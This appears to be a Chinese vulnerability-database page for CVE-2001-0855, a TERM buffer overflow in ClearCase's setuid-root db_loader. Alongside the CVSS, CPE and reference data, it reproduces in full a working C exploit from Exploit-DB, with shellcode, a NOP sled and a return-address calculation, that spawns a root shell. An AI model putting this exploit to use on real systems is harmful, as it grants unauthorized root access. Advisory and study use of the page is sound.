CVE-2001-0855
CVSS7.2
发布时间 :2001-12-06 00:00:00
修订时间 :2016-10-17 22:12:31
NMCOE    

[原文]Buffer overflow in db_loader in ClearCase 4.2 and earlier allows local users to gain root privileges via a long TERM environment variable.


[CNNVD]合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞(CNNVD-200112-021)

        ClearCase 4.2及其早期版本的db_loader存在缓冲区溢出漏洞。本地用户借助超长TERM环境变量提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:rational_software:clearcase:4.2
cpe:/a:rational_software:clearcase:4.0
cpe:/a:rational_software:clearcase:3.2_plus
cpe:/a:rational_software:clearcase:4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0855
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0855
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-021
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=100528623328037&w=2
(UNKNOWN)  BUGTRAQ  20011109 ClearCase db_loader TERM environment variable buffer overflow vulnerability
http://www.iss.net/security_center/static/7488.php
(UNKNOWN)  XF  clearcase-dbloader-term-bo(7488)
http://www.securityfocus.com/bid/3523
(UNKNOWN)  BID  3523

- 漏洞信息

合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞
高危 缓冲区溢出
2001-12-06 00:00:00 2005-10-20 00:00:00
本地  
        ClearCase 4.2及其早期版本的db_loader存在缓冲区溢出漏洞。本地用户借助超长TERM环境变量提升根特权。

- 公告与补丁

        暂无数据

- 漏洞信息 (21150)

Rational ClearCase 3.2/4.x DB Loader TERM Environment Variable Buffer Overflow Vulnerability (EDBID:21150)
unix local
2001-11-09 Verified
0 virtualcat
N/A [点击下载]
source: http://www.securityfocus.com/bid/3523/info

ClearCase is a commercially available software change management package. It is maintained and distributed by Rational.

A problem with the package could lead to a local user gaining elevated privileges. The problem is in the handling of environment variables by db_loader. db_loader does not correctly handle input from a user's TERM environment variable, making it possible for a local user to execute arbitrary code when 550 bytes of data is placed in TERM.

Since the db_loader program is setuid root, this problem can result in a local user gaining administrative access on a vulnerable system. 

/* Rational ClearCase TERM environment variable buffer overflow exploit
*  test it again solaris x86 7, bug found by virtualcat@xfocus.org
*  xploit by xundi@xfocus.org
*  website: http://xfocus.org
*/

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define    RET_DIS            550
#define    NOP            0x90
#define    NNOP            512

#define    ENV_VAR            "TERM"

#define    USER_UPPER_MAGIC    0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code    */
char shellCode[] =
    "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
    "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
    "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
    "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
    "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
    "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";


int get_esp()
{
    __asm__("mov %esp,%eax");
}

int  getEnvAddr(const char* envPtr)
{
    int    envAddr = NULL;
    int    retCode = 0;

    char* charPtr = (char *) get_esp();

    /* Search for the starting address of the environment string for    */
    /* the specified environment variable                    */
    while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC)
    {
        retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
        /* Found */
        if(retCode == 0)
        {
            envAddr = (int) (charPtr - 1);
            break;
        }
    }

    return envAddr;
}

int main(int argc, char** argv)
{

    char    buff[256] = {0};

    int*    intPtr = NULL;
    char*    buffPtr = NULL;
    char*    charPtr = NULL;

    int    retAddr = 0;
    int    retValue = 0;


    int    buffLen = 0;
    int    adjustment = 0;
    int    strLen = 0;
    int    alignment = 0;
    int    diff = 0;
    int    i;

    int shellCodeLen = strlen(shellCode);

    if(argc == 2)
    {
        adjustment = atoi(argv[1]);
    }

    buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;

    charPtr = getenv(ENV_VAR);

    /* Adjust the stupid alignment    */
    strLen = strlen(charPtr) + 1;
    alignment = strLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        strLen += alignment;
    }

    alignment = buffLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        buffLen += alignment;
    }

    retValue = getEnvAddr(ENV_VAR);

    diff = buffLen - strLen;

    retAddr = retValue - diff + strlen(ENV_VAR) + 1;

    alignment = retAddr % 4;

    if(alignment != 0)
    {
        alignment = 4 - alignment;
    }
    retAddr += RET_DIS + alignment +  adjustment;

    /* Allocate memory for the evil buffer    */
    buffPtr = (char *) malloc(buffLen);

    if(buffPtr != NULL)
    {

        strcpy(buffPtr, ENV_VAR);
        strcat(buffPtr, "=");
        charPtr = (char *) (buffPtr + strlen(buffPtr));

        /* Fill the rest of the buffer with 'A'     */
        memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4);

        /* Butt in the return address            */
        intPtr = (int *) (charPtr + RET_DIS);
        *intPtr++ = retAddr;

        /* Make sure the NOPs are located word aligned     */
        charPtr = (char *) intPtr;
        charPtr += alignment;

        for(i=0; i<NNOP; i++)
        {
            *charPtr++ = NOP;
        }

        for(i=0; i<shellCodeLen; i++)
        {
            *charPtr++ = shellCode[i];
        }
        *charPtr = 0;

        putenv(buffPtr);

        printf("Jumping to 0x%.8x\n", retAddr);

        execl("/usr/atria/etc/db_loader", "xfocus", NULL);
    }
    else
    {
        printf("No more free memory!");
    }
}

/*..Thanks for all xfocus members.. especially virtualcat*/
		

- 漏洞信息

13982
ClearCase db_loader TERM Environment Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-11-09 Unknow
2001-11-09 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站